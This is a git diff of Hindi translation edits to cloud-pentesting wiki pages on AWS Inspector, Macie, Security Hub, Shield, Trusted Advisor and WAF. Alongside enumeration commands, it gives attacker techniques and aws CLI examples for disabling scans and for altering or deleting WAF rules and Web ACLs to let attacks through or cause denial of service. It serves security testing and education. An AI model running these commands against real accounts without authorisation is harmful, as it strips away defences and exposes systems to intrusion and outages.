**`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** अनुमतियों के कारण, एक हमलावर फिर से चयनात्मक रूप से स्कैन को पुनः सक्षम कर सकता है ताकि संदिग्ध कॉन्फ़िगरेशन का पता न चले। +`inspector2:Disable` अनुमति वाला एक हमलावर विशिष्ट संसाधन प्रकारों (EC2, ECR, Lambda, Lambda कोड) पर सुरक्षा स्कैन को निष्क्रिय करने में सक्षम होगा, जिससे AWS वातावरण के कुछ हिस्से बिना निगरानी के और हमलों के प्रति संवेदनशील रहेंगे। इसके अतिरिक्त, **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** अनुमतियों के कारण, एक हमलावर फिर से चयनात्मक रूप से स्कैन को पुनः सक्षम कर सकता है ताकि संदिग्ध कॉन्फ़िगरेशन का पता न चले। > [!WARNING] > यह क्रिया प्रतिनिधि प्रशासक द्वारा की जानी चाहिए। diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 8ea1939b8..2601f8ffa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -11,12 +11,12 @@ Amazon Macie एक सेवा के रूप में उभरता ह Amazon Macie की प्रमुख विशेषताएँ: 1. **सक्रिय डेटा समीक्षा**: AWS खाते के भीतर विभिन्न क्रियाओं के दौरान सक्रिय रूप से डेटा की समीक्षा करने के लिए मशीन लर्निंग का उपयोग करता है। -2. **असामान्य गतिविधि पहचान**: असामान्य गतिविधियों या पहुंच पैटर्न की पहचान करता है, संभावित डेटा एक्सपोज़र जोखिमों को कम करने के लिए अलर्ट उत्पन्न करता है। +2. **असामान्य गतिविधि का पता लगाना**: असामान्य गतिविधियों या पहुंच पैटर्न की पहचान करता है, संभावित डेटा एक्सपोज़र जोखिमों को कम करने के लिए अलर्ट उत्पन्न करता है। 3. **निरंतर निगरानी**: Amazon S3 में नए डेटा की स्वचालित निगरानी और पहचान करता है, समय के साथ डेटा एक्सेस पैटर्न के अनुकूलन के लिए मशीन लर्निंग और आर्टिफिशियल इंटेलिजेंस का उपयोग करता है। 4. **NLP के साथ डेटा वर्गीकरण**: विभिन्न डेटा प्रकारों को वर्गीकृत और व्याख्या करने के लिए प्राकृतिक भाषा प्रसंस्करण (NLP) का उपयोग करता है, खोजों को प्राथमिकता देने के लिए जोखिम स्कोर असाइन करता है। 5. **सुरक्षा निगरानी**: सुरक्षा-संवेदनशील डेटा की पहचान करता है, जिसमें API कुंजी, गुप्त कुंजी, और व्यक्तिगत जानकारी शामिल है, डेटा लीक को रोकने में मदद करता है। -Amazon Macie एक **क्षेत्रीय सेवा** है और कार्यक्षमता के लिए 'AWSMacieServiceCustomerSetupRole' IAM Role और सक्षम AWS CloudTrail की आवश्यकता होती है। +Amazon Macie एक **क्षेत्रीय सेवा** है और कार्यक्षमता के लिए 'AWSMacieServiceCustomerSetupRole' IAM भूमिका और सक्षम AWS CloudTrail की आवश्यकता होती है। ### अलर्ट प्रणाली @@ -57,7 +57,7 @@ Macie अलर्ट को पूर्वनिर्धारित श् डेटा वर्गीकरण में शामिल हैं: -- सामग्री-प्रकार: पहचान की गई सामग्री प्रकार के आधार पर। +- सामग्री-प्रकार: पता लगाए गए सामग्री प्रकार के आधार पर। - फ़ाइल एक्सटेंशन: फ़ाइल एक्सटेंशन के आधार पर। - विषय: फ़ाइलों के भीतर कीवर्ड के द्वारा वर्गीकृत। - Regex: विशिष्ट regex पैटर्न के आधार पर वर्गीकृत। @@ -101,15 +101,15 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` -#### Post Exploitation +#### पोस्ट एक्सप्लोइटेशन > [!TIP] -> हमलावर के दृष्टिकोण से, यह सेवा हमलावर का पता लगाने के लिए नहीं बनाई गई है, बल्कि संग्रहीत फ़ाइलों में संवेदनशील जानकारी का पता लगाने के लिए बनाई गई है। इसलिए, यह सेवा **हमलावर को बकेट के अंदर संवेदनशील जानकारी खोजने में मदद कर सकती है**।\ -> हालाँकि, शायद एक हमलावर इसे बाधित करने में भी रुचि रख सकता है ताकि पीड़ित को अलर्ट प्राप्त करने से रोका जा सके और उस जानकारी को चुराना आसान हो जाए। +> हमलावर के दृष्टिकोण से, यह सेवा हमलावर का पता लगाने के लिए नहीं बनाई गई है, बल्कि संग्रहीत फ़ाइलों में संवेदनशील जानकारी का पता लगाने के लिए है। इसलिए, यह सेवा **हमलावर को बकेट के अंदर संवेदनशील जानकारी खोजने में मदद कर सकती है**।\ +> हालाँकि, शायद एक हमलावर इसे बाधित करने में भी रुचि रख सकता है ताकि पीड़ित को अलर्ट प्राप्त करने से रोका जा सके और उस जानकारी को चुराना आसान हो सके। TODO: PRs are welcome! -## References +## संदर्भ - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 96302b904..14bb2bc0b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,7 +4,7 @@ ## Security Hub -**Security Hub** सुरक्षा **डेटा** को **AWS खातों**, सेवाओं, और समर्थित तीसरे पक्ष के भागीदार उत्पादों से एकत्र करता है और आपको **आपकी सुरक्षा** प्रवृत्तियों का विश्लेषण करने और उच्चतम प्राथमिकता वाली सुरक्षा समस्याओं की पहचान करने में मदद करता है। +**Security Hub** सुरक्षा **डेटा** को **AWS खातों**, सेवाओं और समर्थित तीसरे पक्ष के भागीदार उत्पादों से एकत्र करता है और आपको **आपकी सुरक्षा** प्रवृत्तियों का विश्लेषण करने और उच्चतम प्राथमिकता वाली सुरक्षा समस्याओं की पहचान करने में मदद करता है। यह **खातों के बीच सुरक्षा से संबंधित अलर्ट को केंद्रीकृत** करता है, और इन्हें देखने के लिए एक UI प्रदान करता है। सबसे बड़ी सीमा यह है कि यह **क्षेत्रों के बीच अलर्ट को केंद्रीकृत नहीं करता**, केवल खातों के बीच। @@ -17,8 +17,10 @@ - Config - Inspector - Macie -- तीसरे पक्ष +- तीसरा पक्ष - CIS मानकों के खिलाफ स्वयं-निर्मित + +## Enumeration ``` # Get basic info aws securityhub describe-hub @@ -47,11 +49,11 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` -## Bypass Detection +## डिटेक्शन को बायपास करें TODO, PRs accepted -## References +## संदर्भ - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index 1cf673e9d..f2820e824 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,11 +4,11 @@ ## Shield -AWS Shield को **वितरित सेवा से इनकार के हमलों** के खिलाफ आपकी अवसंरचना की **सुरक्षा** में मदद करने के लिए डिज़ाइन किया गया है, जिसे सामान्यतः DDoS के रूप में जाना जाता है। +AWS Shield को **वितरित अस्वीकृति सेवा हमलों** के खिलाफ **आपकी अवसंरचना की सुरक्षा** में मदद करने के लिए डिज़ाइन किया गया है, जिसे सामान्यतः DDoS के रूप में जाना जाता है। **AWS Shield Standard** सभी के लिए **मुफ्त** है, और यह कुछ सामान्य स्तर तीन, **नेटवर्क स्तर**, और स्तर चार, **परिवहन स्तर**, DDoS हमलों के खिलाफ **DDoS सुरक्षा** प्रदान करता है। यह सुरक्षा CloudFront और Route 53 के साथ एकीकृत है। -**AWS Shield Advanced** DDoS हमलों के लिए AWS सेवाओं के व्यापक दायरे में **सुरक्षा का एक उच्च स्तर** प्रदान करता है, इसके लिए अतिरिक्त लागत पर। यह उन्नत स्तर EC2, CloudFront, ELB और Route 53 पर चलने वाले आपके वेब अनुप्रयोगों के खिलाफ सुरक्षा प्रदान करता है। इन अतिरिक्त संसाधन प्रकारों के अलावा, मानक की तुलना में DDoS सुरक्षा के उन्नत स्तर प्रदान किए जाते हैं। और आपके पास **AWS में एक 24-घंटे विशेष DDoS प्रतिक्रिया टीम, जिसे DRT के रूप में जाना जाता है, तक पहुंच होगी**। +**AWS Shield Advanced** DDoS हमलों के लिए AWS सेवाओं के व्यापक दायरे में **सुरक्षा का एक उच्च स्तर** प्रदान करता है, इसके लिए अतिरिक्त लागत होती है। यह उन्नत स्तर EC2, CloudFront, ELB और Route 53 पर चलने वाले आपके वेब अनुप्रयोगों के खिलाफ सुरक्षा प्रदान करता है। इन अतिरिक्त संसाधन प्रकारों की सुरक्षा के अलावा, मानक की तुलना में DDoS सुरक्षा के उन्नत स्तर प्रदान किए जाते हैं। और आपके पास **AWS में एक 24-घंटे विशेष DDoS प्रतिक्रिया टीम, जिसे DRT के रूप में जाना जाता है, तक पहुंच होगी**। जहां Shield का मानक संस्करण स्तर तीन और स्तर चार के खिलाफ सुरक्षा प्रदान करता है, **Advanced स्तर सात, अनुप्रयोग, हमलों के खिलाफ भी सुरक्षा प्रदान करता है।** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index 88922f548..454cbc65b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,9 +6,9 @@ ## AWS Trusted Advisor Overview -Trusted Advisor एक सेवा है जो **सिफारिशें प्रदान करती है** आपके AWS खाते को अनुकूलित करने के लिए, **AWS सर्वोत्तम प्रथाओं** के अनुसार। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार मुख्य श्रेणियों में अंतर्दृष्टि प्रदान करता है: +Trusted Advisor एक सेवा है जो **आपके AWS खाते को अनुकूलित करने के लिए सिफारिशें** प्रदान करती है, **AWS सर्वोत्तम प्रथाओं** के साथ संरेखित होती है। यह एक सेवा है जो कई क्षेत्रों में कार्य करती है। Trusted Advisor चार प्रमुख श्रेणियों में अंतर्दृष्टि प्रदान करता है: -1. **Cost Optimization:** संसाधनों को पुनर्गठित करने के तरीके सुझाता है ताकि खर्च कम हो सके। +1. **Cost Optimization:** खर्च कम करने के लिए संसाधनों को पुनर्गठित करने का सुझाव देता है। 2. **Performance:** संभावित प्रदर्शन बाधाओं की पहचान करता है। 3. **Security:** कमजोरियों या कमजोर सुरक्षा कॉन्फ़िगरेशन के लिए स्कैन करता है। 4. **Fault Tolerance:** सेवा की लचीलापन और दोष सहिष्णुता को बढ़ाने के लिए प्रथाओं की सिफारिश करता है। @@ -34,7 +34,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल #### Core Checks -बिना व्यवसाय या उद्यम समर्थन योजनाओं वाले उपयोगकर्ताओं के लिए सीमित: +बिजनेस या उद्यम समर्थन योजनाओं के बिना उपयोगकर्ताओं तक सीमित: 1. Security Groups - Specific Ports Unrestricted 2. IAM Use @@ -48,7 +48,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल सुरक्षा खतरों की पहचान और सुधार पर केंद्रित जांचों की सूची: - उच्च-जोखिम पोर्ट के लिए सुरक्षा समूह सेटिंग्स -- सुरक्षा समूह की अनियंत्रित पहुँच +- सुरक्षा समूह अनियंत्रित पहुँच - S3 बकेट्स के लिए खुली लिखने/सूची पहुँच - रूट खाते पर MFA सक्षम - RDS सुरक्षा समूह की उदारता @@ -58,7 +58,7 @@ Trusted Advisor की व्यापक सुविधाएँ केवल - ELBs के लिए सुरक्षा समूह - CloudFront के लिए प्रमाणपत्र जांच - IAM एक्सेस कुंजी रोटेशन (90 दिन) -- एक्सेस कुंजी का खुलासा (जैसे, GitHub पर) +- एक्सेस कुंजी का प्रदर्शन (जैसे, GitHub पर) - EBS या RDS स्नैपशॉट्स की सार्वजनिक दृश्यता - कमजोर या अनुपस्थित IAM पासवर्ड नीतियाँ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index dd8135065..b0b214b1c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -16,7 +16,7 @@ Web ACL नियमों का एक संग्रह है जिसे #### Rule Group -Rule Group नियमों का एक पुन: उपयोग योग्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट को प्रबंधित और बनाए रखने में मदद करते हैं। +Rule Group नियमों का एक पुन: प्रयोज्य संग्रह है जिसे आप कई Web ACLs पर लागू कर सकते हैं। नियम समूह विभिन्न वेब एप्लिकेशन या APIs के बीच लगातार नियम सेट को प्रबंधित और बनाए रखने में मदद करते हैं। प्रत्येक नियम समूह का अपना संबंधित **क्षमता** होती है, जो आपके नियमों, नियम समूहों और वेब ACLs को चलाने के लिए उपयोग किए जाने वाले संचालन संसाधनों की गणना और नियंत्रण में मदद करती है। एक बार जब इसका मान निर्माण के दौरान सेट किया जाता है, तो इसे संशोधित करना संभव नहीं होता। @@ -25,7 +25,7 @@ Rule Group नियमों का एक पुन: उपयोग योग एक नियम उन शर्तों का एक सेट परिभाषित करता है जिसका उपयोग AWS WAF आने वाले वेब अनुरोधों का निरीक्षण करने के लिए करता है। नियमों के दो मुख्य प्रकार हैं: 1. **Regular Rule**: यह नियम प्रकार निर्दिष्ट शर्तों का उपयोग करता है यह निर्धारित करने के लिए कि वेब अनुरोधों को अनुमति दी जाए, अवरुद्ध किया जाए, या गिना जाए। -2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहाँ, उपयोगकर्ता एक सीमा परिभाषित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा से नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है। +2. **Rate-Based Rule**: एक विशेष IP पते से पांच मिनट की अवधि में अनुरोधों की गिनती करता है। यहां, उपयोगकर्ता एक सीमा परिभाषित करते हैं, और यदि किसी IP से अनुरोधों की संख्या इस सीमा को पांच मिनट के भीतर पार कर जाती है, तो उस IP से आने वाले अगले अनुरोधों को अवरुद्ध कर दिया जाता है जब तक कि अनुरोध दर सीमा के नीचे नहीं गिरती। दर-आधारित नियमों के लिए न्यूनतम सीमा **2000 अनुरोध** है। #### Managed Rules @@ -33,7 +33,7 @@ AWS WAF पूर्व-निर्धारित, प्रबंधित #### IP Set -एक IP Set उन IP पतों या IP पते की रेंज की सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं। +IP Set उन IP पतों या IP पते की रेंज की एक सूची है जिन्हें आप अनुमति देना या अवरुद्ध करना चाहते हैं। IP सेट IP-आधारित नियमों को प्रबंधित करने की प्रक्रिया को सरल बनाते हैं। #### Regex Pattern Set @@ -41,46 +41,46 @@ AWS WAF पूर्व-निर्धारित, प्रबंधित #### Lock Token -एक Lock Token WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए उपयोग किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से एक ही संसाधन को एक साथ अपडेट करने का प्रयास करने वाले कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा अधिलेखित नहीं किए जाते हैं। +Lock Token का उपयोग WAF संसाधनों को अपडेट करते समय समवर्ती नियंत्रण के लिए किया जाता है। यह सुनिश्चित करता है कि परिवर्तन गलती से कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में अधिलेखित नहीं होते हैं। #### API Keys -AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुँच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें। +AWS WAF में API Keys का उपयोग कुछ API संचालन के लिए अनुरोधों को प्रमाणित करने के लिए किया जाता है। ये कुंजी एन्क्रिप्टेड होती हैं और सुरक्षित रूप से प्रबंधित की जाती हैं ताकि पहुंच को नियंत्रित किया जा सके और यह सुनिश्चित किया जा सके कि केवल अधिकृत उपयोगकर्ता WAF कॉन्फ़िगरेशन में परिवर्तन कर सकें। - **Example**: CAPTCHA API का एकीकरण। #### Permission Policy -एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुँच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें। +एक Permission Policy एक IAM नीति है जो यह निर्दिष्ट करती है कि कौन AWS WAF संसाधनों पर क्रियाएँ कर सकता है। अनुमतियों को परिभाषित करके, आप WAF संसाधनों तक पहुंच को नियंत्रित कर सकते हैं और यह सुनिश्चित कर सकते हैं कि केवल अधिकृत उपयोगकर्ता कॉन्फ़िगरेशन बना, अपडेट या हटा सकें। #### Scope -AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि WAF नियम और कॉन्फ़िगरेशन एक क्षेत्रीय एप्लिकेशन या एक Amazon CloudFront वितरण पर लागू होते हैं। +AWS WAF में स्कोप पैरामीटर यह निर्दिष्ट करता है कि क्या WAF नियम और कॉन्फ़िगरेशन क्षेत्रीय एप्लिकेशन या Amazon CloudFront वितरण पर लागू होते हैं। -- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहाँ ये संसाधन स्थित हैं। -- **CLOUDFRONT**: Amazon CloudFront वितरणों पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी परोसी जाए। +- **REGIONAL**: क्षेत्रीय सेवाओं पर लागू होता है जैसे कि एप्लिकेशन लोड बैलेंसर (ALB), Amazon API गेटवे REST API, AWS AppSync GraphQL API, Amazon Cognito उपयोगकर्ता पूल, AWS App Runner सेवा और AWS Verified Access उदाहरण। आप उस AWS क्षेत्र को निर्दिष्ट करते हैं जहां ये संसाधन स्थित हैं। +- **CLOUDFRONT**: Amazon CloudFront वितरण पर लागू होता है, जो वैश्विक होते हैं। CloudFront के लिए WAF कॉन्फ़िगरेशन `us-east-1` क्षेत्र के माध्यम से प्रबंधित होते हैं चाहे सामग्री कहीं भी सेवा दी जाए। ### Key features #### Monitoring Criteria (Conditions) -**Conditions** उन तत्वों को निर्दिष्ट करते हैं जिनका AWS WAF आने वाले HTTP/HTTPS अनुरोधों पर निरीक्षण करता है, जिसमें XSS, भौगोलिक स्थान (GEO), IP पते, आकार की सीमाएँ, SQL इंजेक्शन, और पैटर्न (स्ट्रिंग और regex मिलान) शामिल हैं। यह ध्यान रखना महत्वपूर्ण है कि **देश के आधार पर CloudFront स्तर पर प्रतिबंधित अनुरोध WAF तक नहीं पहुँचेंगे**। +**Conditions** उन तत्वों को निर्दिष्ट करते हैं जिनका AWS WAF निरीक्षण करता है, जिसमें XSS, भौगोलिक स्थान (GEO), IP पते, आकार की सीमाएँ, SQL इंजेक्शन, और पैटर्न (स्ट्रिंग और regex मिलान) शामिल हैं। यह ध्यान रखना महत्वपूर्ण है कि **देश के आधार पर CloudFront स्तर पर प्रतिबंधित अनुरोध WAF तक नहीं पहुँचेंगे**। प्रत्येक AWS खाता कॉन्फ़िगर कर सकता है: -- **100 शर्तें** प्रत्येक प्रकार के लिए (Regex के लिए, जहाँ केवल **10 शर्तें** अनुमति दी जाती हैं, लेकिन इस सीमा को बढ़ाया जा सकता है)। +- **100 शर्तें** प्रत्येक प्रकार के लिए (Regex के लिए, जहां केवल **10 शर्तें** अनुमति दी जाती हैं, लेकिन इस सीमा को बढ़ाया जा सकता है)। - **100 नियम** और **50 Web ACLs**। - अधिकतम **5 दर-आधारित नियम**। - जब WAF को एक एप्लिकेशन लोड बैलेंसर के साथ लागू किया जाता है, तो **10,000 अनुरोध प्रति सेकंड** की थ्रूपुट। #### Rule actions -प्रत्येक नियम को क्रियाएँ सौंपित की जाती हैं, विकल्प होते हैं: +प्रत्येक नियम को क्रियाएँ असाइन की जाती हैं, विकल्प होते हैं: - **Allow**: अनुरोध को उचित CloudFront वितरण या एप्लिकेशन लोड बैलेंसर पर अग्रेषित किया जाता है। - **Block**: अनुरोध को तुरंत समाप्त कर दिया जाता है। - **Count**: नियम की शर्तों को पूरा करने वाले अनुरोधों की गिनती करता है। यह नियम परीक्षण के लिए उपयोगी है, नियम की सटीकता की पुष्टि करने के लिए इससे पहले कि इसे Allow या Block पर सेट किया जाए। -- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके बॉट से नहीं आता है। +- **CAPTCHA and Challenge:** यह सत्यापित किया जाता है कि अनुरोध बॉट से नहीं आता है, CAPTCHA पहेलियों और चुपचाप चुनौतियों का उपयोग करके। यदि कोई अनुरोध Web ACL के भीतर किसी भी नियम से मेल नहीं खाता है, तो यह **डिफ़ॉल्ट क्रिया** (Allow या Block) के अधीन होता है। नियम निष्पादन का क्रम, जो Web ACL के भीतर परिभाषित होता है, महत्वपूर्ण है और आमतौर पर इस अनुक्रम का पालन करता है: @@ -90,13 +90,13 @@ AWS WAF में स्कोप पैरामीटर यह निर् #### CloudWatch Integration -AWS WAF निगरानी के लिए CloudWatch के साथ एकीकृत होता है, जो AllowedRequests, BlockedRequests, CountedRequests, और PassedRequests जैसे मैट्रिक्स प्रदान करता है। ये मैट्रिक्स डिफ़ॉल्ट रूप से हर मिनट रिपोर्ट किए जाते हैं और दो सप्ताह की अवधि के लिए बनाए रखे जाते हैं। +AWS WAF CloudWatch के साथ एकीकृत होता है, निगरानी के लिए, जैसे AllowedRequests, BlockedRequests, CountedRequests, और PassedRequests जैसे मैट्रिक्स प्रदान करता है। ये मैट्रिक्स डिफ़ॉल्ट रूप से हर मिनट रिपोर्ट किए जाते हैं और दो सप्ताह की अवधि के लिए बनाए रखे जाते हैं। ### Enumeration -CloudFront वितरणों के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा: +CloudFront वितरण के साथ बातचीत करने के लिए, आपको क्षेत्र US East (N. Virginia) निर्दिष्ट करना होगा: -- CLI - CloudFront स्कोप का उपयोग करते समय क्षेत्र US East निर्दिष्ट करें: `--scope CLOUDFRONT --region=us-east-1`। +- CLI - जब आप CloudFront स्कोप का उपयोग करते हैं तो क्षेत्र US East निर्दिष्ट करें: `--scope CLOUDFRONT --region=us-east-1`। - API और SDKs - सभी कॉल के लिए, क्षेत्र अंत बिंदु us-east-1 का उपयोग करें। क्षेत्रीय सेवाओं के साथ बातचीत करने के लिए, आपको क्षेत्र निर्दिष्ट करना चाहिए: @@ -185,21 +185,21 @@ aws wafv2 list-mobile-sdk-releases --platform aws wafv2 get-mobile-sdk-release --platform --release-version ``` -### Post Exploitation / Bypass +### पोस्ट एक्सप्लोइटेशन / बायपास > [!TIP] > हमलावर के दृष्टिकोण से, यह सेवा हमलावर को WAF सुरक्षा और नेटवर्क एक्सपोजर की पहचान करने में मदद कर सकती है जो उसे अन्य वेब को समझौता करने में मदद कर सकती है। > > हालाँकि, एक हमलावर इस सेवा को बाधित करने में भी रुचि रख सकता है ताकि वेब WAF द्वारा सुरक्षित न हों। -कई Delete और Update ऑपरेशनों में **lock token** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए, आप विशिष्ट संसाधन पर संबंधित **list** या **get** ऑपरेशनों को कर सकते हैं। +Delete और Update ऑपरेशनों में **लॉक टोकन** प्रदान करना आवश्यक होगा। यह टोकन संसाधनों पर समवर्ती नियंत्रण के लिए उपयोग किया जाता है, यह सुनिश्चित करते हुए कि परिवर्तन कई उपयोगकर्ताओं या प्रक्रियाओं द्वारा एक ही संसाधन को एक साथ अपडेट करने के प्रयास में गलती से अधिलेखित नहीं होते हैं। इस टोकन को प्राप्त करने के लिए आप विशिष्ट संसाधन पर संबंधित **सूची** या **प्राप्त** ऑपरेशनों को कर सकते हैं। #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** एक हमलावर प्रभावित संसाधन की सुरक्षा को समझौता करने में सक्षम होगा: -- नियम समूह बनाना जो, उदाहरण के लिए, वैध IP पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार हो सकता है। -- नियम समूहों को अपडेट करना, इसके कार्यों को **Block** से **Allow** में संशोधित करने में सक्षम होना। +- नियम समूह बनाना जो, उदाहरण के लिए, वैध IP पते से वैध ट्रैफ़िक को ब्लॉक कर सकता है, जिससे सेवा का इनकार होता है। +- नियम समूहों को अपडेट करना, इसके कार्यों को **ब्लॉक** से **अनुमति** में संशोधित करने में सक्षम होना। - उन नियम समूहों को हटाना जो महत्वपूर्ण सुरक्षा उपाय प्रदान करते हैं। ```bash # Create Rule Group @@ -243,8 +243,8 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi इन अनुमतियों के साथ, एक हमलावर सक्षम होगा: -- एक नया Web ACL बनाना, ऐसे नियम पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को अवरुद्ध करते हैं, प्रभावी रूप से WAF को बेकार बना देते हैं या सेवा का इनकार करते हैं। -- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करने में सक्षम होना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले अवरुद्ध किया गया था, या वैध अनुरोधों को अवरुद्ध करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना। +- एक नया Web ACL बनाना, नियमों को पेश करना जो या तो दुर्भावनापूर्ण ट्रैफ़िक को अनुमति देते हैं या वैध ट्रैफ़िक को ब्लॉक करते हैं, प्रभावी रूप से WAF को बेकार बना देते हैं या सेवा का इनकार करते हैं। +- मौजूदा Web ACLs को अपडेट करना, हमलों की अनुमति देने के लिए नियमों को संशोधित करने में सक्षम होना जैसे SQL इंजेक्शन या क्रॉस-साइट स्क्रिप्टिंग, जिन्हें पहले ब्लॉक किया गया था, या वैध अनुरोधों को ब्लॉक करके सामान्य ट्रैफ़िक प्रवाह को बाधित करना। - एक Web ACL को हटाना, प्रभावित संसाधनों को पूरी तरह से असुरक्षित छोड़ना, इसे वेब हमलों की एक विस्तृत श्रृंखला के लिए उजागर करना। > [!NOTE] @@ -259,9 +259,9 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -निम्नलिखित उदाहरण दिखाता है कि एक वेब ACL को कैसे अपडेट किया जाए ताकि एक विशिष्ट IP सेट से वैध ट्रैफ़िक को ब्लॉक किया जा सके। यदि मूल IP उन IPs में से किसी से मेल नहीं खाता है, तो डिफ़ॉल्ट क्रिया भी इसे ब्लॉक करना होगा, जिससे DoS होगा। +निम्नलिखित उदाहरण दिखाता है कि कैसे एक Web ACL को एक विशिष्ट IP सेट से वैध ट्रैफ़िक को ब्लॉक करने के लिए अपडेट किया जाए। यदि मूल IP उन IPs में से किसी से मेल नहीं खाता है, तो डिफ़ॉल्ट क्रिया भी इसे ब्लॉक करना होगा, जिससे DoS होगा। -**मूल वेब ACL**: +**मूल Web ACL**: ```json { "WebACL": { @@ -361,7 +361,7 @@ aws wafv2 disassociate-web-acl --resource-arn #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`** -एक 